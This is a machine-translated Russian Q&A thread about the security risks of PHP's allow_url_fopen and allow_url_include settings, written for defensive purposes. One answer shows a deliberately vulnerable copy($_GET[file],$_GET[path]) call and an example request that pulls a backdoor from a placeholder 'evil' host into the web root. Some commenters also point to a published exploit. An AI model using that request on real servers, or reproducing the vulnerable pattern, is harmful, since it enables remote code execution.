Почему не безопасно разрешать доступ к ресурсам с URI, например «http://example.com/badcode.txt»? Что означает не файловое?Безопасность потока PHP
я читаю этот PHP список проверки безопасности: http://www.sk89q.com/2009/08/definitive-php-security-checklist/
ТНХ
^_^
Вы должны означать allow_url_fopen. Честно говоря, я не думаю, что есть какие-то обоснованные причины для отказа в этом.
allow_url_include - это вариант, который лучше отключить, если у вас есть ошибка в ваших сценариях, которые используют пользовательский ввод для создания пути к пути включения. Честно говоря, это нельзя делать никогда, но настройки могут смягчить некоторые повреждения (это не повредит).
allow_url_fopen очень опасен, у меня есть персональные эксплойты, чтобы использовать эту проблему. – rook
@ The Rook Пожалуйста, дайте несколько ссылок. Смотрите мой комментарий на ответ Паскаля. – Artefacto
Да, возможность загрузить произвольные php-файлы гораздо опаснее, чем перемещать файлы. Это различие между раскрытием информации и полным удаленным исполнением кода. Это эксплойт, который я написал, извините за ссылку на кеш, но milw0rm не работает (http://74.6.146.127/search/cache?ei=UTF-8&p=http://milw0rm.com/exploits/7909&fr=yfp- t-701 & u = milw0rm.com/exploits/7909 & w =% 22milw0rm + .com + exploits + 7909% 22 & d = X_SjprZfVDT6 & icp = 1 & .intl = us & sig = smGRW3yEA_8uMqDUBRuBQg--) – rook
В этом конкретном разделе рассказывается о включении файлов (то есть код php, который выполняется). Если вы используете поток с другого включенного сайта, вы в основном разрешаете запуск кода на своем сервере, который вы не проверили. Это может измениться со временем, может быть человек в средней атаке.
В основном вы открываете бэкдор, чтобы разрешить запуск кода на вашем сервере, который вышел из-под контроля. Это по определению небезопасно.
Даже если вы не включаете его непосредственно в свой код, как и с пользовательскими вводами, вам необходимо инкапсулировать все, что вы используете, чтобы предотвратить ввод кода в sql или php. Я видел, как люди прямо вводили неконтролируемый вклад в eval заявления. Это, в свою очередь, часто приводит к взлому компьютера.
Ну, протокол HTTP по умолчанию небезопасен, возможна атака в середине, что приводит к «мошенничеству». Если вы ДОЛЖНЫ требовать/включать через HTTP (я не могу понять, почему это когда-либо понадобится), по крайней мере, используйте HTTPS.
allow_url_fopen также отключит https, я почти уверен. – Artefacto
Да, так как нет веских оснований, использование http (s) обычно включает (гораздо лучшие решения доступны для «удаленного кода»), точка была, если вы включили allow_url_fopen, ТОГДА, по крайней мере, используйте HTTPS. – Wrikken
Функция, которая может загрузить «не-файл на основе» данных является функция:
Примером такой функции является file_get_contents, если включен allow_url_fopen.
О «незащищенных» вещах, посмотрите на этом примере:
$file = '...';
$my_data = file_get_contents($file);
При том, что вы будете считать, что $my_data содержит что-то загружается из локального-файла.
Теперь, если $file создается с чем-то передается в сценарий, как $_GET, например, вы могли бы в конечном итоге загрузки удаленного файла, а не локальный-один ... И вы понятия не имеете, что $my_data может содержать , в такой ситуации.
Это может быть опасно только при загрузке файла ... Теперь, если вы использовали require вместо file_get_contents ... это означает, что любой может выполнить любой код PHP на вашем сервере!
К счастью для нас, есть одна директива, чтобы позволить открытие удаленного файла (allow_url_fopen), и еще один, чтобы позволить включение удаленного файла (allow_url_include).
Довольно часто первый включается, потому что он полезен; а второй отключен, так как он вызывает риски, связанные с безопасностью.
Этот аргумент не имеет смысла. Таким образом, получение удаленных данных более опасно, чем выборка произвольных данных с самого сервера? ... Пользовательские данные должны быть правильно проверены, 'allow_url_fopen' не обеспечивает безопасность и попадает в путь. Я бы никогда не рекомендовал установить его на «false». – Artefacto
В области, вы знаете, что на вашем сервере, поэтому открытие локального файла должно быть более безопасным ;; с другой стороны, вы не знаете, что находится на удаленном сервере, поэтому открытие удаленного файла, в зависимости от того, что вы делаете с данными, может быть более опасным ;;; конечно, как вы сказали, пользовательские данные должны быть правильно проверены ... Но, к сожалению, это не всегда * (ну, это легко забыть, иногда ... и не все думают о безопасности :-() * –
Во всяком случае, я думаю, что более опасно разрешать чтение локальных файлов, чем удаленных, потому что они могут предоставлять частную информацию на вашем сервере, единственное исключение - это случай, когда The Rook указывает на то, что вы копируете из произвольного файла. – Artefacto
allow_url_fopen опасен, потому что он превращает, казалось бы, невинные функции в опасные «раковины». Например функция copy() полезна для перемещения файлов вокруг, но с allow_url_fopen=On вы можете сделать Somthing противное:
copy($_GET[file],$_GET[path]);
http://localhost/copy.php?file=http://evil/backdoor.txt&path=/var/wwww/backdoor.php
allow_url_fopen должен быть отключен в производственной системе. Вы должны использовать завиток для доступа к http/ftp/whatever. Также не забудьте запустить PHPSecInfo, чтобы заблокировать установку php. PHPSecInfo выдает предупреждение для allow_url_fopen.
ОК, это является одним из немногих случаев, когда доступ к неаудированному предоставленному пользователем пути более опасен, чем доступ к неаудированному локальному пути, но на самом деле ... allow_url_fopen не будет препятствовать обнаружению информации, которое было бы более распространено с не- проверенный путь.Решение заключается в проверке пути, а не на отключении полезной функции языка. – Artefacto
@Artefacto нет, он должен быть отключен, вам нужно заблокировать язык, чтобы сделать любой вызов функции максимально безопасным, потому что разработчики будут писать ошибки. – rook
@Artefacto также, если вы посмотрите на мой модемный эксплойт, вы увидите разработчиков, которые дезинфицируют ввод пользователя, однако я пытаюсь использовать пространство имен глобальных переменных, чтобы принести измененную переменную функцию 'copy()' sink. И для записи по умолчанию php.ini является ** HORRIBLY INSECURE **, вы должны запустить phpsecinfo на ** все ** производственных системах. – rook
На английском языке он спрашивает, что «Помните о потоках PHP, что позволяет вам (и атакующим) получать доступ к ресурсам, не связанным с файлами, с помощью URI, таких как http://example.com/badcode.txt. Убедитесь, что злоумышленники не могут включать удаленный файл, содержащий PHP-код ». означает в списке. – fire
благодарим за ваш ответ! Интересно послушать возможный выбор, чтобы установить «on» или «off» allow_url_fopen, но для моего приложения я считаю, что «on» лучше, также потому, что я не знаю глубокой разницы между curl() и fopen() и когда я могу использовать то или другое. Так что я хочу свободно использовать fopen() и проверять данные, если есть include(). –